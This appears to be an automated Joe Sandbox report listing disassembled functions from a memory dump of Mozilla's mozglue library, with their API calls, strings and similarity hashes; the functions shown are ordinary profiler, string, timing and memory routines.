Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

timeline-overview, xrefs: 6C69907A
marker-chart, xrefs: 6C69905E
stack-chart, xrefs: 6C6990B2
timeline-fileio, xrefs: 6C6990A4
data, xrefs: 6C6990E8
name, xrefs: 6C698F16
marker-table, xrefs: 6C69906C
timeline-memory, xrefs: 6C699088
timeline-ipc, xrefs: 6C699096

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

inf, xrefs: 6C67C78F
INF, xrefs: 6C67C794
nan, xrefs: 6C67C7A8
NAN, xrefs: 6C67C7AD

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_CRASH(), xrefs: 6C65227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

